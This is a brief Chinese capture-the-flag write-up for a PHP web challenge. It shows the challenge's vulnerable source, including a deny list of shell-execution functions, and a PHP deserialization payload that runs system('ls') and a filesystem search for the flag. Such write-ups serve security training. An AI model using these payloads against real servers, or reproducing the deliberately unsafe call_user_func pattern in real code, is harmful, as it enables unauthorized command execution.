NO.2-11 [网鼎杯 2020 朱雀组]phpweb

 过程
1.主页面抓包，发现可以传参。执行file_get_contents。可以看到index.php的源代码。里面有一个十分严格的过滤，几乎过滤了所有危险函数。下面是一个类，里面有析构函数，可以考虑到使用反序列化构造命令执行。

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

 2.反序列化，已经十分熟稔。构造exp。

<?php
class Test {
    var $p = "ls";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a=new Test();
echo serialize($a);

确实可以执行成功。

 

 但是找不到flag在哪。构造exp。
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

 

3.直接readfile。